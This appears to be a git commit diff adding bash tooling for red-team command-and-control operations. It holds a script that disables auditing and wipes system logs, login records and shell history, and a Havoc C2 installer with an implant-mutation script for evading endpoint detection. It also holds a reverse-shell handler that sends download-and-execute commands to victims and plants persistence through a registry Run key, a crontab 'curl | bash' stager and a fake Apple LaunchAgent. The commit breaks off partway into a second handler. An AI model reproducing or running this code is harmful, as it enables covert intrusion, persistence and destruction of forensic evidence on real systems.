restructuring for easier navigation and modularity
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
#!/bin/bash
|
||||
# Zero-logs maintenance script
|
||||
|
||||
# Set aggressive umask to minimize permission footprint
|
||||
umask 077
|
||||
|
||||
# Configuration
|
||||
LOG_DIRS=(
|
||||
"/var/log"
|
||||
"/var/spool/mail"
|
||||
"/var/spool/postfix"
|
||||
"/var/lib/dhcp"
|
||||
"/root/.bash_history"
|
||||
"/home/*/.bash_history"
|
||||
"/var/lib/nginx"
|
||||
)
|
||||
|
||||
SYSTEM_LOGS=(
|
||||
"auth.log"
|
||||
"syslog"
|
||||
"messages"
|
||||
"kern.log"
|
||||
"daemon.log"
|
||||
"user.log"
|
||||
"btmp"
|
||||
"wtmp"
|
||||
"lastlog"
|
||||
)
|
||||
|
||||
# Disable syslog temporarily
|
||||
systemctl stop rsyslog 2>/dev/null
|
||||
systemctl stop syslog-ng 2>/dev/null
|
||||
systemctl stop systemd-journald 2>/dev/null
|
||||
|
||||
# Clear all standard logs
|
||||
echo "[+] Clearing standard system logs..."
|
||||
for log in "${SYSTEM_LOGS[@]}"; do
|
||||
find /var/log -name "$log*" -exec truncate -s 0 {} \; 2>/dev/null
|
||||
find /var/log -name "$log*" -exec cat /dev/null > {} \; 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear all journal logs
|
||||
echo "[+] Clearing systemd journal..."
|
||||
journalctl --vacuum-time=1s 2>/dev/null
|
||||
rm -rf /var/log/journal/* 2>/dev/null
|
||||
|
||||
# Clear audit logs
|
||||
echo "[+] Clearing audit logs..."
|
||||
auditctl -e 0 2>/dev/null
|
||||
cat /dev/null > /var/log/audit/audit.log 2>/dev/null
|
||||
|
||||
# Clear bash history for all users
|
||||
echo "[+] Clearing bash history..."
|
||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
||||
done
|
||||
history -c
|
||||
cat /dev/null > ~/.bash_history 2>/dev/null
|
||||
unset HISTFILE
|
||||
|
||||
# Clear NGINX logs
|
||||
echo "[+] Clearing NGINX logs..."
|
||||
for nginx_log in /var/log/nginx/*; do
|
||||
[ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null
|
||||
done
|
||||
|
||||
# Clear SSH logs
|
||||
echo "[+] Clearing SSH logs..."
|
||||
cat /dev/null > /var/log/auth.log 2>/dev/null
|
||||
cat /dev/null > /var/log/secure 2>/dev/null
|
||||
|
||||
# Clear mail logs
|
||||
echo "[+] Clearing mail logs..."
|
||||
cat /dev/null > /var/log/mail.log 2>/dev/null
|
||||
cat /dev/null > /var/log/maillog 2>/dev/null
|
||||
|
||||
# Clear sliver logs
|
||||
echo "[+] Clearing Sliver C2 logs..."
|
||||
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||
find /home/*/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
||||
|
||||
# Clear temporary directories
|
||||
echo "[+] Clearing temporary files..."
|
||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
||||
|
||||
# Clear RAM and swap
|
||||
echo "[+] Clearing RAM cache and swap..."
|
||||
sync
|
||||
echo 3 > /proc/sys/vm/drop_caches
|
||||
swapoff -a && swapon -a 2>/dev/null
|
||||
|
||||
# Restart logging services
|
||||
systemctl start systemd-journald 2>/dev/null
|
||||
systemctl start rsyslog 2>/dev/null
|
||||
systemctl start syslog-ng 2>/dev/null
|
||||
|
||||
echo "[+] Log cleaning complete"
|
||||
exit 0
|
||||
@@ -0,0 +1,234 @@
|
||||
#!/bin/bash
|
||||
# Enhanced Havoc C2 Framework installer optimized for Red Team Operations
|
||||
# This script installs and configures Havoc with EDR evasion features
|
||||
# The mutation features are applied BEFORE building to ensure proper compilation
|
||||
|
||||
set -e
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
LOG_FILE="/root/Tools/havoc_installer.log"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
|
||||
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
|
||||
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
|
||||
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
|
||||
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
|
||||
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
|
||||
|
||||
# Function to log messages
|
||||
log() {
|
||||
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
|
||||
}
|
||||
|
||||
# Function to generate random strings
|
||||
random_string() {
|
||||
local length=${1:-16}
|
||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||
}
|
||||
|
||||
# Generate random build ID for implant signature
|
||||
RANDOMIZED_BUILD_ID=$(random_string 16)
|
||||
|
||||
# Install required dependencies
|
||||
log "Installing dependencies..."
|
||||
apt-get update >/dev/null 2>&1
|
||||
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
|
||||
|
||||
# Fix for JSON dependency
|
||||
log "Installing nlohmann-json manually..."
|
||||
mkdir -p /tmp/json
|
||||
cd /tmp/json
|
||||
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
|
||||
mkdir -p /usr/include/nlohmann
|
||||
cp json.hpp /usr/include/nlohmann/
|
||||
cd - > /dev/null
|
||||
|
||||
# Setup Go environment
|
||||
log "Setting up Go environment..."
|
||||
mkdir -p /root/go
|
||||
export GOPATH=/root/go
|
||||
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||
|
||||
# Download and install compiler fix
|
||||
log "Downloading and installing fixed compiler..."
|
||||
if [ ! -d "$COMPILER_DIR" ]; then
|
||||
# Download the compiler
|
||||
wget -q -O /tmp/compiler.tgz $COMPILER_URL
|
||||
|
||||
# Extract to /usr/bin
|
||||
tar -xzf /tmp/compiler.tgz -C /usr/bin
|
||||
|
||||
# Verify compiler exists
|
||||
if [ -f "$COMPILER_PATH" ]; then
|
||||
log "Compiler installed successfully at $COMPILER_PATH"
|
||||
chmod +x $COMPILER_PATH
|
||||
else
|
||||
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
|
||||
fi
|
||||
|
||||
# Clean up
|
||||
rm -f /tmp/compiler.tgz
|
||||
else
|
||||
log "Compiler already installed at $COMPILER_DIR"
|
||||
fi
|
||||
|
||||
# Clone Havoc repository
|
||||
log "Cloning Havoc repository..."
|
||||
if [ -d "$HAVOC_DIR" ]; then
|
||||
log "Havoc directory already exists, updating..."
|
||||
cd $HAVOC_DIR
|
||||
git pull
|
||||
else
|
||||
# Clone with proper GitHub URL
|
||||
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
|
||||
cd $HAVOC_DIR
|
||||
fi
|
||||
|
||||
# Create data directories
|
||||
mkdir -p $HAVOC_DATA_DIR
|
||||
mkdir -p $HAVOC_DIR/payloads
|
||||
mkdir -p $HAVOC_DIR/payloads/backup
|
||||
|
||||
# Initialize submodules
|
||||
log "Initializing submodules..."
|
||||
cd $HAVOC_DIR
|
||||
git submodule init
|
||||
git submodule update --recursive
|
||||
|
||||
# Create improved implant mutator script BEFORE building
|
||||
log "Creating implant mutator script..."
|
||||
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
|
||||
#!/bin/bash
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
EOF
|
||||
|
||||
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
|
||||
|
||||
# Perform mutations BEFORE building - this is critical
|
||||
# log "Running implant mutations script before building..."
|
||||
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
|
||||
# $IMPLANT_MUTATOR_SCRIPT
|
||||
# if [ $? -ne 0 ]; then
|
||||
# log "Warning: Implant mutation script ran with errors, but continuing build..."
|
||||
# fi
|
||||
# else
|
||||
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
|
||||
# fi
|
||||
|
||||
# Install additional Go dependencies for the teamserver
|
||||
log "Installing Go dependencies for teamserver..."
|
||||
cd $HAVOC_DIR/teamserver
|
||||
go mod download golang.org/x/sys
|
||||
cd $HAVOC_DIR
|
||||
|
||||
# Build Havoc using make - build teamserver first
|
||||
log "Building Havoc teamserver..."
|
||||
cd $HAVOC_DIR
|
||||
make ts-build
|
||||
|
||||
# Build Havoc client
|
||||
#log "Building Havoc client..."
|
||||
#make client-build
|
||||
|
||||
# Create systemd service for Havoc
|
||||
log "Creating systemd service for Havoc teamserver..."
|
||||
cat > /etc/systemd/system/havoc.service << EOF
|
||||
[Unit]
|
||||
Description=Advanced Security Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
WorkingDirectory=$HAVOC_DIR/teamserver
|
||||
ExecStart=$HAVOC_DIR/havoc server -d
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security measures
|
||||
PrivateTmp=true
|
||||
ProtectHome=false
|
||||
NoNewPrivileges=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
# Set proper permissions
|
||||
log "Setting proper permissions..."
|
||||
chmod -R 755 $HAVOC_DIR
|
||||
|
||||
# Create symlinks to executables in /usr/local/bin
|
||||
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
|
||||
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
|
||||
|
||||
# Enable and start Havoc service
|
||||
log "Enabling and starting Havoc service..."
|
||||
systemctl daemon-reload
|
||||
systemctl enable havoc
|
||||
systemctl start havoc
|
||||
|
||||
log "Havoc C2 installation completed successfully!"
|
||||
@@ -0,0 +1,76 @@
|
||||
#!/bin/bash
|
||||
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/Havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,218 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=4488
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||
HAVOC_USER="admin"
|
||||
HAVOC_DIR="/root/Tools/Havoc"
|
||||
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||
LINUX_PAYLOAD="linux/agent_linux"
|
||||
|
||||
# Set secure permissions
|
||||
umask 077
|
||||
|
||||
# Logging function (minimal and encrypted)
|
||||
log() {
|
||||
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||
local message="$1"
|
||||
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||
}
|
||||
|
||||
# Detect OS function
|
||||
detect_os() {
|
||||
local connection=$1
|
||||
|
||||
# Send commands to determine OS
|
||||
echo "echo \$OSTYPE" > $connection
|
||||
sleep 1
|
||||
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||
|
||||
if [[ $ostype == *"win"* ]]; then
|
||||
echo "windows"
|
||||
elif [[ $ostype == *"darwin"* ]]; then
|
||||
echo "macos"
|
||||
elif [[ $ostype == *"linux"* ]]; then
|
||||
echo "linux"
|
||||
else
|
||||
# Try Windows-specific command
|
||||
echo "ver" > $connection
|
||||
sleep 1
|
||||
winver=$(cat $connection | grep -i "microsoft windows")
|
||||
|
||||
if [[ -n "$winver" ]]; then
|
||||
echo "windows"
|
||||
else
|
||||
# Default to Linux if we can't determine
|
||||
echo "linux"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
# Get Havoc password
|
||||
get_havoc_password() {
|
||||
# Extract password from Havoc profile
|
||||
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||
echo $HAVOC_PASS
|
||||
}
|
||||
|
||||
# Deploy appropriate Havoc agent based on OS
|
||||
deploy_agent() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Deploying Havoc agent for detected OS: $os_type"
|
||||
|
||||
# Get the latest payload paths from manifest
|
||||
local manifest="/root/Tools/Havoc/payloads/manifest.json"
|
||||
if [ -f "$manifest" ]; then
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
|
||||
fi
|
||||
else
|
||||
# Use default paths if manifest doesn't exist
|
||||
if [ "$os_type" == "windows" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
|
||||
elif [ "$os_type" == "linux" ]; then
|
||||
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
|
||||
fi
|
||||
fi
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use PowerShell to download and execute
|
||||
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
linux)
|
||||
# Setup Python HTTP server for payload delivery
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
macos)
|
||||
# For macOS, we'll attempt to use the Linux payload
|
||||
mkdir -p /tmp/havoc_payloads
|
||||
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||
chmod +x /tmp/havoc_payloads/update
|
||||
cd /tmp/havoc_payloads
|
||||
python3 -m http.server 8888 &
|
||||
HTTP_PID=$!
|
||||
|
||||
# Use curl to download and execute
|
||||
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||
sleep 10
|
||||
|
||||
# Cleanup HTTP server
|
||||
kill $HTTP_PID
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Havoc agent deployment command sent"
|
||||
}
|
||||
|
||||
# Establish persistence based on OS
|
||||
establish_persistence() {
|
||||
local connection=$1
|
||||
local os_type=$2
|
||||
|
||||
log "Attempting to establish persistence on $os_type"
|
||||
|
||||
case $os_type in
|
||||
windows)
|
||||
# Windows persistence via registry run key
|
||||
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||
;;
|
||||
linux)
|
||||
# Linux persistence via crontab
|
||||
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||
;;
|
||||
macos)
|
||||
# macOS persistence via launch agent
|
||||
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||
;;
|
||||
esac
|
||||
|
||||
log "Persistence commands sent for $os_type"
|
||||
}
|
||||
|
||||
# Main shell handler loop
|
||||
handle_connections() {
|
||||
log "Shell handler started on port $LISTEN_PORT"
|
||||
|
||||
# Use mkfifo for bidirectional communication
|
||||
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||
trap 'rm -f $PIPE_PATH' EXIT
|
||||
|
||||
while true; do
|
||||
# Clean up existing pipe
|
||||
rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection to be established
|
||||
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||
sleep 1
|
||||
# Check if nc is still running
|
||||
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||
log "Netcat process died, restarting..."
|
||||
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||
continue 2 # Restart the outer loop
|
||||
fi
|
||||
done
|
||||
|
||||
log "Connection received, detecting OS..."
|
||||
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||
log "Detected OS: $DETECTED_OS"
|
||||
|
||||
# Deploy Havoc agent
|
||||
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Establish persistence
|
||||
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||
sleep 5
|
||||
|
||||
# Keep connection alive for manual operation if needed
|
||||
log "Havoc agent deployed, maintaining shell connection..."
|
||||
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||
|
||||
# Wait for connection to close
|
||||
wait $NC_PID
|
||||
log "Connection closed, cleaning up and restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
@@ -0,0 +1,65 @@
|
||||
#!/bin/bash
|
||||
# === CONFIG ===
|
||||
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
|
||||
SRC_DIR="$IMPLANT_DIR/src"
|
||||
BUILD_ROOT="$HOME/Tools/havoc"
|
||||
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
|
||||
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
|
||||
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||
# === COLORS ===
|
||||
YELLOW='\033[1;33m'
|
||||
GREEN='\033[1;32m'
|
||||
NC='\033[0m'
|
||||
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
|
||||
# === 1. Backup Previous Shellcode ===
|
||||
mkdir -p "$BACKUP_DIR"
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||
fi
|
||||
# === 2. Generate Random Identifiers ===
|
||||
random_str() {
|
||||
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
|
||||
}
|
||||
UA=$(random_str)
|
||||
URI=$(random_str)
|
||||
PIPE=$(random_str)
|
||||
MUTEX=$(random_str)
|
||||
# === 3. Mutate TransportHttp.c ===
|
||||
THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||
if [[ -f "$THTTP" ]]; then
|
||||
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
|
||||
fi
|
||||
# === 4. Mutate Named Pipe and Mutex ===
|
||||
TARGET_FILE=""
|
||||
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
|
||||
if [[ -f "$f" ]]; then
|
||||
TARGET_FILE="$f"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [[ -n "$TARGET_FILE" ]]; then
|
||||
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
|
||||
fi
|
||||
# === 5. Rebuild Implant via Top-Level Makefile ===
|
||||
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
|
||||
cd "$BUILD_ROOT" || exit 1
|
||||
make clean && make
|
||||
# === 6. Confirm Shellcode Output ===
|
||||
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
|
||||
else
|
||||
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
|
||||
exit 1
|
||||
fi
|
||||
@@ -0,0 +1,156 @@
|
||||
#!/bin/bash
|
||||
# Automated shell handler for catching and upgrading reverse shells
|
||||
|
||||
# Configuration
|
||||
LISTEN_PORT=8844
|
||||
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||
